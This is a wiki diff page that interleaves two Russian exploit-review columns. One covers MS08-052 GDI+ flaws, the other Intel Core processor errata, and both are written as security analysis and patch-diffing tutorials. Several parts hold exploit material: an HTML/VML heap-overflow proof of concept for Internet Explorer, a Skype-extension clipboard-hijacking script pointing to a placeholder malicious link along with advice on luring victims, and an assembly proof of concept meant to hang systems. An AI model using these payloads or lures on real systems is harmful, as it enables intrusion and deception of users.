Различия

Здесь показаны различия между двумя версиями данной страницы.

Ссылка на это сравнение

Предыдущая версия справа и слева Предыдущая версия
Следующая версия
Предыдущая версия
articles:exploit-review-0x1e [2017/03/09 18:27]
5.157.7.58 удалено
articles:exploit-review-0x1e [2017/09/05 02:55] (текущий)
Строка 1: Строка 1:
-====== exploit-review-0x1D ====== +====== exploit-review-0x1E ====== 
-<​sub>​{{exploit-review-0x1D.odt|Original file}}</​sub>​+<​sub>​{{exploit-review-0x1E.odt|Original file}}</​sub>​
  
-====== exploits review\\ ​1Dh выпуск ======+====== exploits review\\ ​1Eh выпуск ======
  
 крис касперски ака мыщъх, a.k.a. nezumi, a.k.a elraton, a.k.a. souriz, no-email крис касперски ака мыщъх, a.k.a. nezumi, a.k.a elraton, a.k.a. souriz, no-email
  
-**количество критических дыр, ​обнаруженных в ****Windows ​****за ​последние два месяца, просто потрясает воображение — глаза разбегаютсялапы разъезжаются (по клавиатуре), ​хвост идет ​кувырком, не в силах выбрать каким уязвимостям отдавать предпочтение, а каким ​нет, к тому ​же дыр намного больше, чем это кажется. с уязвимостью в ****GDI+ ****ассоциирован только ​один бюллетень безопасностино ошибок там (в том числе и не исправленных)… затыкая старые дыры, ****MS ****пробивает новые…**+**в конце октября в Малайзии состоялась ​конференция ​****HITB (Hack In The Box)****, где мыщъх ​зачитал доклад, посвященный ​ошибкам ЦПдопускающих локальные и удаленные атаки ​на систему, что вызвало огромный общественный ​интерес и потому ​сегодняшний обзор сплоитов мы решили посвятить процессорным багам, продемонстрировав технику вторжения в чужие компьютеры**
  
-===== MS GDI+ —удаленное выполнение кода в GIF-парсере =====+===== Intel Core – ​еще одна ошибка ​когерентности L1 кэша ​=====
  
-brief:графическая подсистема Windows, ​реализованная в библиотеке GDI.DLL (позже перелопаченной в GDI32.DLL),создавалась опытными людьми, привыкшими ​сначала думать, а потом кодить. Неудивительно, что ​ошибки ​в GDI начали ​обнаруживаться только после того, как Microsoft ​перенесла львиную часть графического кода с прикладного уровня ​в ядро, поступившись безопасностью в угоду быстродействию. Уровень квалификации сотрудников к тому времени ​уже упала вместе с ним упало и качество кода. К власти рвались ​карьеристы, к клавиатурам тянулись индусы и воинствующие пионеры, стремящиеся разломать старый кодпереписав его с нуля. Попытка создания улучшенной реализации графической подсистемы (известной под именем GDI+) не увенчалась успехом — новые возможности оказались попросту невостребованнымиа вот ошибки полезли как грибы после дождя. Значительная ​часть ошибок была ликвидирована в первые же годы существования GDI+ (смнапример, ​"​**Microsoft Security Bulletin MS04-028 Buffer Overrun in JPEG Processing (GDI+) Could Allow Code Execution**"​ — http://​www.microsoft.com/​technet/​security/​bulletin/​MS04-028.mspx"​), ​однако дефекты проектирования продолжают обнаруживаться и сегодня.+brief:в середине октября (непосредственно перед конференцией HIBT) Intel обнаружила еще один дефект кэш-контролера первого уровнякоторый и описала ​в errata под номером AZ73. Приведенной ​информации оказалось ​достаточно для воспроизведения ошибки на ноутбуке, ​но отладить ​exploit в условиях гостиничного ​номера за оставшееся ​перед выступлением время ​не получилось, тем не менее модификация ядерной памяти ​операционной системы ​с прикладного уровня ​проходила ​стабильно ​и вполне успешно, а потому есть все основания ожидать,​ что данная техника ​будет взята на вооружение malware-писателями. Для этого достаточно заставить несколько процессорных ядер обрабатывать разделяемые данные,​ находящиеся в кэш-памяти первого уровня между двумя кэш-линейками. Согласно errata при этом происходит нарушение очередности последовательности записей/чтениячто не совсем соответствует действительности. Intel "​забыла" ​упомянуть "удар по памяти"​ — ​кэш-контроллер "​забывает" подлинный ​адрес скэшированных ячеек памяти и выгружает модифицированные данные ​совершенно в другое место, причем, ​выгрузка проводится уже после проверки атрибутов защиты страниц ​за счет чего ​становится возможным атаковать ​код ​операционной системы с прикладного уровня, ​причем атаковать можно очень большое количество приложений в том числе и операционную систему, даже если сами по себе они и не содержат ошибок. Атакующему нужно ​чтобы целевой код обрабатывал разделяемые данные в двух или более потоках,​ причемодин поток записывал, а другой — читал. Драйвер TCP/​IP ​стека представляет собой отличную мишень для ​атакипоскольку, в момент прихода очередного IP пакета сетевая ​карта ​генерирует прерывание,​ подхватываемое свободным процессором и, если в этот момент упадет еще ​один пакет, операционная ​система автоматически отправит его ​на второй ​процессорвынужденный взаимодействовать с первым (а как еще иначе собирать TCP пакеты из IP?!). Направленный шторм TCP/IP пакетов — "​пробивает" любую операционную систему (ес-но, из тех, что ​поддерживают ​многопроцессорностьWindows 9x не поддерживает и потому ​ни хвоста ее таким образом не сломаешь). Shell-код, разумеется, привязан ​к конкретной операционной системы и должен ​проектироваться с учетом специфики ее архитектуры, ​однако, это уже вторая фаза ​атаки, которая ​не так интересна, как принципиальная возможность удаленного "​впрыскивания"​ кода в память ядра. О том, как это ​сделать можно прочитать в Specification Update: http://​download.intel.com/​design/​mobile/​specupdt/​320121.pdf (AZ73. Memory Ordering Violation With Stores/​Loads Crossing a Cacheline Boundary);
  
-9 октября два хакера Peter Winter-Smith (NGSSoftware) и Ivan Fratric (Zero Day Initiative) независимо друг от друга обнаружили ошибку в парсере GIF файловприводящую к переполнению буфера с возможностью удаленного захвата управления. На самом делеошибок там много большевключая неинициализированные поля (используемые для вычисления размеров выделяемых блоков памяти)косяки целочисленного переполнения — такое впечатление,​ что парсер программировали даже не индусы,​ а чукчи. Исследование дизассемблерных листингов вызывает реальное шевеление волос на голове. У мыщъха до сих пор шерсть дыбом стоит. Но об этом мы поговорим чуть позже (в разделе full disclose), а сейчас вернемся к двум обозначенным хакерам,​ обнаружившим ошибку переполнения в COLOR Stream, длину которого,​ естественно,​ никто не проверяет.+**targets**:​Intel Core 2 Extreme Quad-Core MobileIntel Core 2 Quad MobileIntel Core 2 Extreme MobileIntel Core 2 Duo Mobile ProcessorIntel Core 2 Solo Mobile ​и Intel Celeron 45-nm;
  
-**targets**:IE 6.0/SP1Office XPOffice 2007/​SP1/​SP2/​SP3Word 2003/SP3, PowerPoint Viewer 2007/SP1, Excel Viewer 2003/SP3, Excel Viewer 2007/SP3;+**exploit**:ниже приводится ключевой фрагмент proof-of-concept exploit'​а разработанного хакером Zen Lee с целью завешивания целевой системыЦиклы CORE1/CORE2 должны выполняться в раздельных потоках"​закрепленных"​ за своими ядрамирегистр EDX – указывает на заранее выделенный блок памяти размером 64Кбайтобщий для всех потоков:​
  
-exploit:John Smith (Вася Пупкик) из хакерской группировки Evil-Fingers (www.evilfingers.com),​ членом которой,​ кстати говоря,​ является и мыщъх, выпустил exploit, написанный на Перле, который можно скачать как с официального сайта группы:​ http://​www.evilfingers.com/​patchTuesday/​MS08_052_GDI+_Vulnerability_ver2.txt,​ так и с независимых сайтов:​ http://​www.securityfocus.com/​data/​vulnerabilities/​exploits/​31020.pl+CORE1:
  
-**solution**:​самое радикальное и самое надежное решение найти-и-удалить библиотеку GDIplus.dllпоскольку,​ все равно ее никто реально не использует,​ ну… практически никто, некоторые приложения могут перестать работать,​ вынуждая нас устанавливать очередной комплект заплаток,​ скачать которые можно с http://​www.securityfocus.com/​bid/​31020/​solution;​+moveaxdword_405030
  
-{{exploit-review-0x1e_Image_0.png?​553}}+imuleax, 343FDh
  
-Рисунок 1 исходный текст exploit'​а+addeax, 269EC3h
  
-===== MS GDI+ – переполнение кучи в Vector Markup Language =====+movdword_405030,​ eax
  
-**brief**:​Microsoft вновь оказалась на высоте реализации своих же собственных стандартов. А ведь как хорошо все начиналось!!! В памятном 1998 годупока россияне пребывали в кризисном состоянии,​ Microsoft совместно с Macromedia усиленно продвигали на рынок язык векторной разметки (Vector Markup Language или, сокращенно,​ VML), внедряемый непосредственно внутрь HTML-кода и претендующий на стандарт,​ представленный на рассмотрение организации W3C. Впрочем,​ большого распространения VML так и не получил и в настоящий момент его (опционально) поддерживает только Google Maps.+sareax10h
  
-В частностиследующий код выводит на экран закрашенный эллипс:​ "<​v:​oval style="​position:​absolute;​ left:0; top:0; width:​100px;​ height:​50px" ​ fillcolor="​blue"​ />"​. ​+andeax7FFFh
  
-9 октября 2008 хакер Greg MacManus из VeriSign отправил в iDefense Labs сообщение об обнаруженной им уязвимости в VML, конструктивно реализованной в динамической библиотеке GdiPlus.dll (iDefense Labs платит за информацию о дырах). Краткое техническое описание проблемы можно найти на http://​labs.idefense.com/​intelligence/​vulnerabilities/​display.php?​id=743 и в официальном бюллетене безопасности MS08-052: http://​go.microsoft.com/​fwlink/?​LinkId=125468,​ не помешает так же сходить и на сайт Security Focus, где данная дыра проходит под номером #31020: http://​www.securityfocus.com/​bid/​31020.+cdq
  
-Однакони один из этих ресурсов не дает ответа на вопрос:​ в чем, собственно,​ состоит суть программы и каким образом осуществить переполнения. Зарывшись в дебри дизассемблерных листингов,​ мыщъх быстро выяснил,​ что система позволяет создавать эллипсы с отрицательным фокусом,​ но не умеет рассчитывать объем динамической памяти,​ требующий для их размещения (тривиальное целочисленное переполнение в процессе умножения),​ в результате чего происходит классическое переполнение кучи, приводящее к возможности удаленного захвата управления со всеми вытекающими отсюда последствиями;​+movecx1FFh
  
-**targets:​**IE 5.5/6.0, Office XP, Office 2007/​SP1/​SP2/​SP3,​ Word 2003/SP3, PowerPoint Viewer 2007/SP1, Excel Viewer 2003/SP3, Excel Viewer 2007/SP3;+idivecx
  
-**exploit:​**John Smith (Вася Пупкик) из хакерской группировки Evil-Fingers (www.evilfingers.com)членом которой,​ кстати говоря,​ является и мыщъх, выпустил proof-of-concept exploit, который можно скачать как с официального сайта группы:​ http://​www.evilfingers.com/​patchTuesday/​MS08_052_GDI+_Vulnerability.txt,​ так и с независимых сайтов:​ downloads.securityfocus.com/​vulnerabilities/​exploits/​31018.html.txt,​ а ниже приведен ключевой фрагмент HTML-кода,​ атакующий IE 5.5++movedxdword_4054C2[edx]
  
-<​html>​+movdword_405438,​ edx
  
-<​head>​+JMP CORR1
  
-<​STYLE>​+CORE2:
  
-ef\:* { behavior: url(#​default#​VML);​ } +moveax, dword_405030
  
-</​STYLE>​+imuleax, 343FDh
  
-</​head>​+addeax, 269EC3h
  
-<​body>​+movdword_405030,​ eax
  
-<​XML:​NAMESPACE ​ ns="​urn:​schemas-microsoft-com:​vml"​ prefix="​ef">​+sareax, 10h
  
-<​ef:​ovalstyle='​left:​500;​top:​500;​width:​500px;​height:​500px;'​fill="​true"​id='​ef_oval'>​+andeax, 7FFFh
  
-<ef:fill type="​gradientCenter";></​ef:​fill>​+cdq
  
-</​ef:​oval>​+movecx, 1FFh
  
-<​script>​+idivecx
  
-var focus_size= "-5-4";+moveaxdword_405438
  
-var focus_pos= ".1.1";+movdword_4054C2[edx]eax
  
-var ef_oval= document.getElementById('​ef_oval'​);​+jmpshort _main
  
 +JMP CORR2
  
 +Листинг 1 ключевой фрагмент боевого exploit'​а от Zen'а Lee, демонстрирующий дефект кэш-контролера (внимание:​ exploit работает только с 32-битными операционными системами!)
  
-******ef_oval.fill.focussize********= focus_size;​**+**solution**:Intel работает над исправлением микрокода,​ который после выхода в свет будет доступен разработчикам BIOS, однако,​ далеко не все из них включают последние версии микрокода в очередную версию своей прошивки,​ да и обновления BIOS'​а на ноутбуке операция не из штатных,​ а потому ситуация ласты и кто не спрятался,​ тот сам себя и наказал.
  
-******ef_oval.fill.focusposition********= focus_pos;​**+{{exploit-review-0x1e_Image_0.jpg?552}}
  
-</​script>​+Рисунок 1 процессор Intel Core 2 Extreme Quad-Core кишками наружу
  
-</body>+===== Intel Core – множественные ошибки XRSTOR/XSAVE =====
  
-</html>+brief:​команда XRSTOR, восстанавливающая состояние процессора,​ сохраненное командой XSAVE, оказалась жутко багистной — только за последний месяц в ней обнаружилось три новых ошибки,​ ведущих к краху системного программного обеспечения,​ использующего ее в своих целях. Ошибка,​ проходящая в errata (см. http://​download.intel.com/​design/​mobile/​specupdt/​320121.pdf) под кодовым номером AZ74 (The XRSTOR Instruction May Fail to Cause a General-Protection) позволяет процессору взводить зарезервированные биты 63:9 регистра XFEATURE_ENABLED_MASK (XCR0) _без_ генерации исключения общей защиты,​ как это следует из документации,​ что само по себе неопасно,​ однако,​ позволяет создать код, работающий только на багистных процессорах. В малвари,​ отловленной в дикой природе,​ данный баг использовался для детекции уязвимых процессоров,​ а, быть может, и еще для чего-то. Две других ошибки относятся к инструкции XSAVE. Согласно errata, AZ71 (The XSAVE Instruction May Erroneously Set Reserved Bits in the XSTATE_BV Field), как и следует из ее названия,​ при определенных обстоятельствах взводит зарезервированные биты регистра XCR0, что ведет к непредсказуемому поведению программного обеспечения,​ уверенного,​ что эти биты равны нулю (как утверждает документация). Ошибка AZ72 (Store Ordering Violation When Using XSAVE) намного более коварна:​ если программист использует XSAVE для сохранения одного лишь SSE-контекста,​ то происходит переупорядочивание операций записи — инструкции отгружают данные в память совсем не в том порядке,​ в котором этого ожидает программист,​ что ведет к непредсказуемому поведению приложения,​ зачастую сопровождаемого крахом;​
  
-Листинг 1 exploit Васи Пупкинадемонстрирующего ошибку целочисленного переполнения в VML/GDI++**targets**:​Intel Core2 Extreme Quad-Core MobileIntel Core 2 Quad Mobile, Intel Core 2 Extreme Mobile, Intel Core 2 Duo Mobile Processor, Intel Core 2 Solo Mobile ​и Intel Celeron 45-nm;
  
-**solution**:самое радикальное и самое надежное решение (как уже ​отмечалось выше) найти-и-удалить библиотеку GDIplus.dll,​ поскольку,​ все равно ее никто реально не использует,​ ну… практически никто, некоторые приложения могут перестать работать, ​вынуждая нас устанавливать очередной комплект заплаток,​ скачать которые можно с http://​www.securityfocus.com/​bid/​31018/​solution;+**exploit**:​отсутствует;​
  
-{{exploit-review-0x1e_Image_1.png?​553}}+solution:​Intel исправила ошибку в процессорах со степпингом E-0, а так же выпустила обновленный микрокод,​ однако,​ ввиду того, что ошибки реализации XRSTOR/​XSAVE невозможно использовать ни для удаленных атак, ни для локального повышения привилегий,​ смысла накладывать заплатки на процессор нет;
  
-Рисунок 2 официальный сайт группы Evil Fingers+{{exploit-review-0x1e_Image_1.jpg?​552}}
  
-===== расширение "​Skype"​для Firefox — ​доступ ​к буфф ​обмена =====+Рисунок 2 процессор Intel Core2 Extreme Quad-Core под микроскопом
  
-**brief**:​какое отношение ​имеет Skype к GDI+? Как можно эксплуатировать уязвимость в IE через Горящего Лиса? Оказывается — можно! Социальная инженерии в совокупности с систематическим подходом ​делают свое дело!+===== Intel Core – разрушение регистра CS при переходе в PM =====
  
-7 октября 2008 на milw0rm'​е появился exploit, ​написанный польским хакером с труднопроизносимым ​ником irk4zдемонстрирующий ​направленную ​атаку на буфер ​обмена через Skype-расширение для Горящего Лиса ​(https://​developer.skype.com/​SkypeToolbars) ​пользующееся ​большой популярностью и предустановленное на множестве ​компьютеров и ноутбуков. Подробности — на блоге первооткрывателя дыры (http://​irk4z.wordpress.com/​),​ кстати, до сих пор еще не засветившейся на Secure Focus'​е. Наверное потому, что хакер изъясняется ​исключительно на польском ​языке, мыщъхиный ​перевод с которого предлагается ​ниже: "//​Я ​нашел ошибку в Скайповом расширении для Горящего Лиса, позволяющую модифицировать системный буфер обмена по своему усмотрению. Забавно, что данное расширение автоматически устанавливается инсталлятором ​Skype, так что количество уязвимых машин должно быть ​очень велико. Описанная дыра похожа ​на недавно обнаруженную уязвимость, открывающую доступ к буферу обмена посредством ​Adobe Flash и ActionScript,​ что ​позволяет атакующему ​манипулировать его содержимым//"​.А ​где же здесь IE? А вот ​где! Скидываем жертве ссылку на сайт, сообщая, что ​его нужно ​смотреть ​только через IE. Пусть это будет какой-нибудь приличный сайт типа ​www.arcme.com, ​а мы тем временем незаметно подменяем ​адрес в буфере обмена и когда жертва вставит его в IE, она неожиданно окажется ​где-то на www.free-shitty-hosting.com/​~halyava/​evil.html, ​где ее поимеет злобный ​HTML-код,​ эксплуатирующий одну из вышеописанных ​дыр в IE;+brief:наконец-то Intel обнародовала информацию, объясняющую ​логику работы антиотладочных ​приемов, встречающихся в некоторых rootkit'​ахвпрочем, "обнародовала"​ это сильно сказано! Всего лишь ​приоткрыла дверь в потайную комнату, и в образовавшуюся щель просочился крошечный лучик светапозволяющий (не без мата, конечноразобраться в ситуации. На первый взгляд сообщение об ошибке AZ70 (Corruption of CS Segment Register During RSM While Transitioning From Real Mode to Protected Mode) носит невменяемый характер: если при переходе из реального в защищенным ​режим ​неожиданно придет прерывание от Системного Менеджера Прерываний (System Management Interrupt или, сокращенно, SMI), случившееся после того, как бит PE (Protection Enable) ​регистра CR0 уже взведен,​ но JMP FAR еще не начинал выполняется, процессор угробит два младших бита регистра CS, однако, все будет работать… во всяком ​случае, если программист не попытается ​прочитать содержимое CS инструкцией MOV или каким другим способом. Ситуация, прямо скажемневероятная. Вероятность возникновения прерывания на столь узком временном промежутке близка к нулю, к тому же с угробленным CS можно какое-то время работать пока не начать читать его содержимое. И в чем здесь соль? А в томчто регистр CS, как и другие ​сегментные регистры, является ​лишь "надстройкой"​ над ​механизмом трансляции адресов и внутри процессора ​явным образом не используетсяИменно ​потому с испорченным CS система продолжает работать, а испортить ​регистр ​можно множеством ​способов (связанных с ошибками реализации ​команд гипервизора, например). Прикладная программа после порчи регистра CS продолжает работать нормально,​ а вот ​отладчики выбрасывают исключение, ругаясь на неправильный селектор. Хакер смотрит — и офигивает. Селектор, действительно, неправильный! Однако, попытки разобраться:​ откуда берется неправильный селектор в таблице дескрипторов и куда исчезает — обречены на провал, ​поскольку ​на самом ​деле, селектор ни откуда не берется и никуда не девается, это всего лишь следствие разрушения регистра CS. Вот такой антиотладочный прием. Перезагрузка CS валидным значением позволяет ​продолжить отладку.
  
-target:уязвимость подтверждена в Skype extension for Firefox BETA 2.2.0.95про другие версии ничего не известно.+**targets**:Intel Core2 Extreme Quad-Core Mobile, Intel Core Quad Mobile, Intel Core Extreme MobileIntel Core 2 Duo Mobile Processor, Intel Core 2 Solo Mobile ​и Intel Celeron 45-nm;
  
-exploit:демонстрационный exploit можно ​скачать с milw0rm.com/​exploit.php?​id=6690 или воспользоваться исходным кодом, приведенным ниже (чтобы превратить его в боевую модель, достаточно убрать комментарии,​ заботливо вставленные автором):​+**exploit**:отсутствует;
  
-<a href="#"​ onclick="​check_it();" >test it!</​a>​+solution:​Intel исправила ошибку в процессорах со степпингом E-0, а так же выпустила обновленный микрокод;
  
-<script type="​text/​javascript">​+{{exploit-review-0x1e_Image_2.jpg?​552}}
  
-function copy_to_clipboard( text ){ +Рисунок микромир ​процессора ​Intel Core2 Extreme Quad-Core
- +
-if (skype_tool) { +
- +
-var copy_it = text + '​\0+';​ //use null byte to copy value, because '​+'​ char must be in string +
- +
-skype_tool.copy_num( copy_it ); +
- +
-+
- +
-+
- +
-function check_it(){ +
- +
-//​copy_to_clipboard('​malicious text!!!!!!!!!!!\n\n\n!!'​);​ +
- +
-//​copy_to_clipboard('​http://​irk4z.wordpress.com/'​);​ +
- +
-copy_to_clipboard('​http://​malicious.link.to.bad.page/'​);​ +
- +
-alert('​Done! Check your clipboard!'​);​ +
- +
-+
- +
-</​script>​ +
- +
-Листинг 2 демонстрационный exploit, легко превращаемый в боевой +
- +
-solution:​внимательно следить за буфером ​обмена. это единственное "​лекарство" существующее на данный момент. +
- +
-{{exploit-review-0x1e_Image_2.png?​553}} +
- +
-Рисунок 3 Скайповое ​расширение к Горящему Лису+
  
 ===== full disclose ===== ===== full disclose =====
  
-===== GDI+ internals ​===== +===== Cross-Modifying CodeAttacks ​=====
- +
-Несмотря на то, что библиотека GDIplus.dll используется только Офисом и IE, она стоит того, чтобы в ней поковыряться ломом на предмет поиска свежих багов, а багов там… Microsoft, как водится,​ затыкает намного больше ошибок,​ чем описывает в бюллетенях безопасности,​ но затыкает их впопыхах,​ и только со второй третей попытки ей удается разогнать бардак,​ вернее,​ перегнать баги из одного места в другое. Как показывает хакерский опыт, совокупное количество ошибок представляет собой константу,​ осциллирующую вокруг некоторого значения. +
- +
-Библиотека GDIplus.dll еще интересна и тем, что позволяет продемонстрировать широкий арсенал хакерских техник,​ использующихся для анализа патчей. Сравнивая оригинальную и пропаченную версию мы найдем,​ что именно исправила Microsoft, локализовав дыру вместе с обстоятельствами ее проявления. Сравнивать,​ естественно,​ будем утилитой PatchDiff – бесплатным аналогом коммерческого плагина к IDA-Pro, скрывающимся за невразумительным названием BinDiff. +
- +
-{{exploit-review-0x1e_Image_3.png?​553}} +
- +
-Рисунок 4 PatchDiff – мощная утилита для сравнения патчей,​ распространяемая на бесплатной основе +
- +
-Однако,​ PatchDiff обнаруживает слишком много различий,​ большая часть из которых нам неинтересна и совершенно непригодна ни для локальных,​ ни, тем более, для удаленных атак. PatchDiff, конечно,​ мощное оружие,​ но хакерствовать все-таки приходится головой. Дедуктивный способ (активно используемый Шелком Холмсом) позволяет отсеять огромное количество "​холостых"​ функций на ранних стадиях анализа. Парой выпусков назад мы бегло описывали возможности PatchDiff'​a,​ и теперь,​ когда читатель уже немного освоился с ним, пришла пора переходить от пассивного созерцания к активному вторжению в машинный код. +
- +
-Нам потребуется IDA-Pro 5.2 или выше (IDA-Pro 5.3 в действительности представляет собой большой bug-fix). Бесплатная версия не поддерживает плагинов,​ однако,​ эту проблему легко решить,​ поиском в сети статьи на тему "​IDA-Pro для бедных"​ или же напрячь Осла. PatchDiff денег не просит и потому общедоступен — http://​cgi.tenablesecurity.com/​tenable/​patchdiff.php. А вот поиск графической библиотеки GDIplus.dll намного более проблематичен,​ чем это кажется на первый взгляд — слишком много версий и все такие разные. Для координации наших действий,​ мыщъх решил выложить анализируемые библиотеки на свой сервер,​ благо они re-distributable. Качайте!!! http://​nezumi.org.ru/​souriz/​GDIplus.rar. +
- +
-Открываем пропатченную версию в IDA-Pro, дожидаемся окончания процесса дизассемблирования,​ выходим из ИДЫ, выгружая базу в idb-файл,​ открываем оригинальную версию,​ дизассемблируем. Затем лезем в меню "Edit -> Plugins"​ и зовем "​PatchDiff"​ или просто нажимаем <​CTRL-8>,​ открывая ранее сохраненную базу пропатенной версии библиотеки. Даем PatchDiff'​у поработать минут с полчаса (на Pentium-III Coppermine) и втыкаем в результат:​ 119 matched функций (т.е. парных функций в которых найдены различия – основных кандидатов на пост президента,​ тьфу, хранителей багов),​ 276 unmatched функций (тех, которые отличаются настолько сильно,​ что PatchDiff'​у не удалось сопоставить их друг с другом — баги здесь так же вполне вероятны,​ но искать их — тухлое дело, требующее слишком много ручной работы),​ 6367 идентичных функций (т.е. полностью совпадающих друг с другом,​ баги здесь, если и есть, то кочующие от одной версии к другой,​ то есть неисправленные). +
- +
-{{exploit-review-0x1e_Image_4.png?​419}} +
- +
-Рисунок 5 результат сравнения непатченной и исправленной версий библиотеки GDIplus.dll утилитой PatchDiff +
- +
-Вот такая, значит,​ ситуация. С учетом размера библиотеки (1,​7 Мбайт) количество matched-функций не так уж и велико,​ однако,​ в пересчете на естественные единицы (пиво, сигареты) положение практически безнадежно. Даже если на анализ каждой функции тратить порядка 10 минут,​ то процесс завершится через 119 10/60 = 1.190/60 = 20 часов, а с учетом реальной производительности труда нам потребуется по меньшей мере пара дней напряженной работы,​ причем безо всяких гарантий на успех, поскольку искомый код может скрываться в unmatched функциях,​ на анализ которых уйдет больше недели. Да за это время все мозги скурить можно, а из пивных бутылок построить скульптуры в стиле "​Москва наносит удар по Церретели"​. +
- +
-А что если у нас только одна банка пива и меньше пачки сигарет?​ Успеем ли мы завершить анализ за это время? Успеем! Главное — выработать план и следовать ему. Тупое попарное сравнение функций как-то не возбуждает. Это кропотливая работа с которой хорошо справляются китайцы,​ индусы и еще… девушки. Да, девушки справляются! И среди них тоже встречаются хакеры. Так что слабая половина человечества может поудобнее усаживаться в кресле,​ и зарываться в анализ. Другая же половина садится на коня, вынимает шашку из ножен (ножны — это вообще женская прерогатива) и бросается в атаку. +
- +
-В самом деле, повадки противника хорошо известны,​ так почему бы не нанести удар в наиболее вероятные места локации?​Может,​ кто помнит детские игрушки середины 80х? Всякие лабиринты там, по которым катается шарик? Мыщъх (да и не только он один) уже тогда выяснил,​ что проходить лабиринт лучше не с начала,​ а с конца (вообще-то,​ правильно сконструированный лабиринт должен быть к этому параллелен,​ вот только правильных лабиринтов вокруг нас упорно не наблюдается и все чаще попадается бракованные). +
- +
-Так же и здесь. Переполнение кучи (если таковое есть) завязано на функции из серии HeapAlloc, вызываемых напрямую или же через обертки типа malloc или new. Целочисленное переполнение часто (хотя и не всегда) связано с машинной командой IMUL. Вот их-то мы и будем искать в дизассемблером тексте,​ а точнее в matched-функциях. Быстро,​ дешево и сердито. Результат,​ конечно,​ не гарантирован,​ но… нам ведет и дырявая функция обнаруживается буквально через несколько минут стучания по клавиатуре. +
- +
-Вот она (см. листинг 3) — int __stdcall sub_4ED096ED(HICON hIcon, int). Тут сразу и IMUL и вызов HeapAlloc, причем умница IDA-Pro распознала HeapAlloc даже во вложенной функции,​ правильно определив назначение передаваемого ей параметра как dwBytes. Возьмем этот трюк себе на заметку. +
- +
-.text:​4ED096ED ; int __stdcall sub_4ED096ED(HICON hIcon, int) +
- +
-.text:​4ED096ED sub_4ED096ED ​ proc near; CODE XREF: sub_4ED09DE2+32p +
- +
-… +
- +
-.text:​4ED097DEmoveax,​ [ebp+var_42C.bmiHeader.biHeight] +
- +
-.text:​4ED097E4movecx,​ [ebp+var_42C.bmiHeader.biWidth] +
- +
-.text:​4ED097EAcdq +
- +
-.text:​4ED097EBxoreax,​ edx +
- +
-.text:​4ED097EDsubeax,​ edx +
- +
-.text:​4ED097EFnegeax +
- +
-.text:​4ED097F1imulecx,​ eax +
- +
-.text:​4ED097F4negecx +
- +
-.text:​4ED097F6shlecx,​ 2 +
- +
-**.text:​4ED097F9pushecx;​ dwBytes****//​**** размер выделяемого блока** +
- +
-… +
- +
-**.text:​4ED09830callsub_4EC52209****;//​****внутри этой функции спрятан ****HeapAlloc** +
- +
-+
  
-.text:​4EC52209 ; int __stdcall sub_4EC52209(DWORD dwBytes)+Первое ​(в жизни!мыщъхиное выступление закончилось провалом. Только взошел на подиум — тут же забыл половину из того, что хотел сказать,​ в результате вместо запланированных 60 минут говорил только полчаса с ужасным русским акцентом. Народ обречено втыкал в слайды,​ набранные мелких шрифтом,​ а качество мультимедийного проектора было, скажем так, далеко не на высоте. Чувство уверенности,​ что это действительно провал,​ укрепилось на заключительной вечеринке,​ где к мыщъху подходили симпатичные японки и по-дружески толкая плечом говорили,​ что все было круто, типа, не переживай. Ага, понятно. Если бы все было действительно круто, они бы не подходили. Впрочем,​ мыщъх и не думал переживать. В конце концов надо же с чего-то начинать…
  
-.text:​4EC52209 sub_4EC52209proc near+{{exploit-review-0x1e_Image_3.jpg?553}}
  
-.text:​4EC52209+Рисунок 4 в Куала Лумпуре (столице Малайзии) совершенно нереально заблудитьсяБашни-Близнецы,​ возвышаясь над остальными небоскребами,​ видны из любой точки города,​ образуя устойчивый ориентир,​ различимый даже из прилегающих к столице деревень в одной из которых живет очаровательная малайка,​ с которой мыщъх познакомился на Sky-Bridge, напросившись в гости. Лучше бы не просился. В деревнях такси хрен поймаешь и до ближайшего автобуса пришлось топать четыре часа!
  
-.text:​4EC52209 dwBytes= dword ptr  8+Однако,​ презентация подняла намного больше вопросов,​ чем их решила и обсуждая с хакерами перспективы сложившийся ситуации,​ мыщъх обогатил свой хвост свежими идеями,​ открывающими двери в мир новых атак. Скромные рамки журнальной статьи не позволяют рассказать обо всех атаках целиком,​ поэтому,​ приходится выбирать что-то одно. Наибольший интерес вызвал класс атак официально обозначенный Intel'​ом как Cross-Modifying Code Bug или, сокращенно,​ XMC.
  
-.text:​4EC52209+{{exploit-review-0x1e_Image_4.jpg?552}}
  
-.text:​4EC52209movediedi+Рисунок 5 Башниэкзотическое растение и Sky Bridge между ними
  
-.text:​4EC5220Bpushebp+Как известно,​ Pentium-процессоры используют раздельный кэш первого уровняОдин для кода, другой — для данных,​ причем,​ внутри кристалла реализован специальный механизм,​ отслеживающий модификацию ячеек памяти,​ уже загруженных в кодовый кэш и вызывающий его перезагрузку. Вплоть до Pentium-III включительно детект самомодифицирующего кода не представлял большой проблемы,​ поскольку кэш был устроен предельно просто,​ но начиная с Pentium-4, кодовый кэш хранит не оригинальное содержимое оперативной памяти,​ а декодированные микроинструкции,​ что существенно затрудняет проверку их принадлежности к модифицированным ячейкам. Механизм распознавания самомодифицирующего кода резко усложнился и в нем появились ошибки…
  
-.text:​4EC5220Cmovebpesp+При определенных ситуациях (о которых мы еще поговорим) процессор продолжает исполнять старый кодигнорируя факт его модификации на другом ядре (реже — на том же самом ядре), в результате чего мы получаем в свое распоряжение превосходный антиотладочный прием, используемый еще во времена древних XT/AT – при "​живом"​ прогоне программы модификация идет лесом, то есть не воспринимается процессором,​ поскольку модифицируемые команды уже находятся на конвейере,​ а сбросить конвейер некому — детектор самомодифицирующего кода ловит муху.
  
-**.text:​4EC5220Epush[ebp+dwBytes];​ dwBytes**+{{exploit-review-0x1e_Image_5.jpg?553}}
  
-.text:​4EC52211push0;​ dwFlags+Рисунок 6 проблема Азии в том, что в ней нет азиатовМонорали. Час пик. Одни европейские лица. И стоило ради этого тащится за 10 тыс км?!
  
-.text:4EC52213pushhHeap;​ hHeap+Отладчик — совсем другое делоПри пошаговой трассировке между соседними командами процессор выполняет сотни и даже тысячи других команд,​ а потому самомодифицирующийся код исполняется как положено,​ то есть без ошибок. Аналогичным образом обстоят дела с дизассемблерами и эмуляторами,​ которых очень легко зациклить. В самом деле, пусть самомодифицирующийся код вырубает команду безусловного (условного) перехода L1jmp L1, тогда программа будет выполняется только на живом процессоре,​ но не под отладчиком. Это, разумеется,​ дебильный примем,​ который нетрудно обнаружить,​ однако,​ если модифицировать расшифровщик основного тела программы,​ ситуация окажется весьма неоднозначной и чтобы разобраться в каких случаях процессор игнорирует модификацию кода, а в каких нет, понадобиться ящик пива и мешок травы.
  
